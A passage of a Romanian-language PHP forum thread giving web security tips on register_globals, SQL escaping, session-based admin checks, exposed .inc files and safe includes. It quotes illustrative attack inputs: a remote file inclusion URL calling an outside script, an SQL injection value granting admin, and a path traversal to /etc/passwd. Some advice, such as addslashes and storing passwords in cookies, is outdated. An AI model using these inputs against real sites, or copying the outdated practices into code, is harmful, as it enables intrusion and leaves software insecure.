    Asta a fost o mare problemă încă de la inventarea ei. Scopul ei era să uşureze munca programatorilor in PHP, dar a venit în schimb şi cu găuri mari în securitate. De la versiunea 4.2.0, register_globals este setat pe OFF în mod implicit. Este recomandat să folosiţi variabilele superglobale pentru lucrul cu inputul ($_GET, $_POST, $_COOKIE, $_SESSION etc.)
    De exemplu haideţi să zicem că avem o variabilă care specifică ce pagină să includem în script:
    PHP Code:
    include($pagina); 
    Intenţia originală a dvs a fost ca variabila $pagina să fie definită într-un fişier de configurare sau în altă parte a scriptului şi nu de a veni ca şi input de la user. În acest caz, dacă register_globals este setat pe ON, utilizatorul haxor poate defini el variabila $pagina pentru dvs., utilizând scriptul în felul următor:

    PHP Code:
    script.php?paginahttp://bahoi.com/hacking_script.php 
    Recomandarea este ca register_globals să rămână pe OFF şi să folosiţi variabilele superglobale în schimb.

    4. Niciodată să nu faceţi interogări fără escapeing.
    PHP are un feature care, activat în mod implicit, face escape automat (adaugă un backslash în faţa) la anumite caractere care vin de la GET, POST sau COOKIE. Apostroful (‘) este un exemplu de caracter escapeuit automat. Acesta are rolul de a nu trata apostroful ca şi parte a interogării. Să zicem că utilizatorul a introdus variabila $name dintr-un formular şi rulează următoarea interogare:
    Code:
    UPDATE characters SET name='$char' WHERE id=25;
    În mod normal dacă introduceam în $char apostrof, va fi escape-uit, astfel că interogarea ar deveni:
    PHP Code:
    UPDATE users SET name='Teal\'c' WHERE id=25 
    Astfel apostroful din „Teal’c” nu afectează cu nimic sintaxa interogării.

    În unele situaţii puteţi folosi stripslashes() la o variabilă de input. Dacă puneţi variabila într-o interogare, asiguraţi-vă că folosiţi addslashes() sau mysql_real_escape_string() pentru a face escape la apostrof, înainte de a rula interogarea. Cum ar fi dacă într-o interogare avem variabile ale căror valori nu sunt escapeuite? Vă puteţi imagina?

    PHP Code:
    UPDATE users SET name='Teal'admin='1' WHERE id=
    În formular, utilizatorul a introdus:
    Teal',admin='1

    Cum în numele lor apostroful nu a fost escape-uit, utilizatorul are „privilegiul” de a termina definirea numelui, de a pune o virgulă(,) şi de a seta altă varibilă denumită „admin”

    În unele configuraţii magic_quotes_gpc (caracteristica care adaugă automat slash-uri <</>> la toate inputurile) este setată pe off. Puteţi folosi funcţia get_magic_quotes_gpc() pentru a vedea dacă este setată pe on sau pe off (funcţia returnează 0 dacă e OFF şi 1 dacă este ON). Dacă este pe off, o variantă ar fi să folosiţi addslashes() la toate inputurile.

    5. Pentru pagini protejate, folosiţi sesiunile sau validaţi login-ul de fiecare dată.

    Sunt unele cazuri în care un programator PHP foloseşte o formă de script gen login.php pentru a valida username-ul şi parola (introduse cu ajutorul unui formular), pentru a testa dacă au drepturi administrative sau este un user valid şi apoi să seteze o variabilă printr-un cookie sau chiar să o ascundă ca şi variabilă ascunsă. Apoi în cod se face o verificare gen:
    PHP Code:
    if($admin)
    {
       
    //acces la conţinut
    }
    else
    {
       
    //acces interzis

    În codul de mai sus pleacă de la premise greşită că variabila $admin poate veni numai dintr-un cookie sau un input dintr-un formular asupra cărora utilizatorul nu are control. Nu este cazul. Dacă avem register_globals activat, injectarea valorilor in variabila admin este extrem de simplă:

    PHP Code:
    script.php?admin=
    Şi mai mult, chiar dacă foloseşti variabilele superglobale $_COOKIE sau $_POST, un utilizator cu intenţii rele poate falsifica foarte uşor un cookie sau crea un formular în HTML pentru a posta orice fel de informaţie cu ajutorul scriptului dvs.
    cu ajutorul scriptului dvs.

    Există două soluţii bune la această problemă. Una este să setăm $admin ca şi variabilă de sesiune. În acest caz este stocată pe server şi este mai puţin probabilă falsificarea ei. La apelări consecutive ale aceluiaşi script, informaţia de sesiune anterioară a utilizatorului va fi disponibilă pe server şi puteţi verifica dacă utilizatorul este administrator în felul următor:

    PHP Code:
    if( $_SESSION['admin'] ) 
    A doua soluţie este stocarea username-ului şi a parolei într-un cookie, cu fiecare apelare la script - validarea username-ului şi a parolei şi dacă utilizatorul este administrator sau nu. Într-un exemplu foarte simplu puteţi avea două funcţii: checklogin($username, $password) care verifică informaţiile de autentificare şi una care să se numească is_admin($username) care verifică dacă userul respectiv este administrator. Codul va fi plasat la începutului fiecărui script care se doreşte a fi protejat.

    PHP Code:
    if( ! checklogin$_COOKIE['username'], $_COOKIE['password'] ) )
        {
          echo 
    "Ne pare rău, mai încercaţi";
          exit;
        }

        if( !
    is_admin$_COOKIE['username'] ) )
        {
           echo 
    "Ne pare rău, nu aveţi acces la această secţiune!";
           exit;
        } 
    6. Dacă nu doriţi afişarea conţinutului unui fişier, puneţi-i extensia .php
    Era destul de des întâlnită practica de a include fişiere sau librării cu extensia .inc. Iată care e problema în acest caz: dacă un utilizator cu intenţii nu tocmai bune introduce adresa fişierului .inc în browser, o să fie afişat ca text, nu parsat ca PHP. Chiar dacă browserului nu-i place extensia fişierului, o să apară un prompt de download. Imaginaţi-vă că aveţi informaţii de login la baza de date sau orice alt fel de informaţii cu caracter sensibil.
    Soluţia este să puneţi extensia PHP la sfârşit gen lib.inc.php.
    I don't have any beliefs or allegiances. I don't believe in this country, I don't believe in religion, or a god, and I don't believe in all these man-made institutional ideas.

    George Denis Patrick Carlin (May 12, 1937 – June 22, 2008)

  23. #18

    Default

    1.Niciodată să nu faceţi include, require sau deschidere directă de fişier cu un nume de fişier bazat inputul utilizatorului, fără să faceţi o verificare riguroasa înainte.
    solutia 2:
    PHP Code:
    $include_path 'bla-bla-bla-folder/';
    include(
    $include_path $pagina); 
    asta merge in unele cazuri in care nu puteti defini un whitelist.
    asta-i doar un exemplu simplu. variablia pagina va trebui validata inainte.
    de ex
    PHP Code:
    ...url?pagina=../../etc/passwd 
    Last edited by semeketh; 03-10-2010 at 12:56 PM.
    ------------------------------------------------
    Azi e ultima zi in care spamez. Promit
    ------------------------------------------------

    http://forum.torrents.ro/photos/data...etsdoitsig.png

  24. #19

    Default

    Pai folosesti PHP: pathinfo - Manual ca sa iei DOAR numele fisierului, dar oricum, e o prostie sa folosesti nume de fisiere in URL.
    Buzzwords Ltd, unregistered company in England, Whales and Dolphins
    Value-added, synergistic forward thinking outside of the box solutions for the discerning employer with core competency metrics - touch base or ping us for more information on how you can improve your customer facing intuitive interfaces, transition your e-business mindshare, incentivize revolutionary technologies and evolve e-business solutions.

  25. #20
    înfumurat wizard's Avatar
    Join Date
    Oct 2007
    Location
    United States of Europe
    Posts
    1,211

    Default

    Quote Originally Posted by Penemue View Post
    Pai folosesti PHP: pathinfo - Manual ca sa iei DOAR numele fisierului, dar oricum, e o prostie sa folosesti nume de fisiere in URL.

    Nu chiar, ai putea să foloseşti un [ame="http://en.wikipedia.org/wiki/Front_controller"]front controller[/ame] pentru celălalte page controllere. Să zicem că ai index.php si parametrii GET cmd şi opt, unde cmd este numele clasei şi opt este o anumită metodă din acea clasă. ex: index.php?cmd=user&opt=login ar include page controllerul user.controller.php, ar iniţializa acea clasă şi ar apela metoda login. Bine, trebuie să faci nişte verificări pentru a te asigura că un user maliţios nu ar putea accesa o clasă sensibilă.
    Last edited by wizard; 03-10-2010 at 02:32 PM.
    Legea sunt ei ce usor se cumpara legea pe cativa lei
    Imagineaza-ti ce poti sa faci cand te bagi cu bani grei

Similar Threads

  1. Replies: 10
    Last Post: 06-30-2010, 01:49 PM
  2. Replies: 19
    Last Post: 07-16-2009, 04:14 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •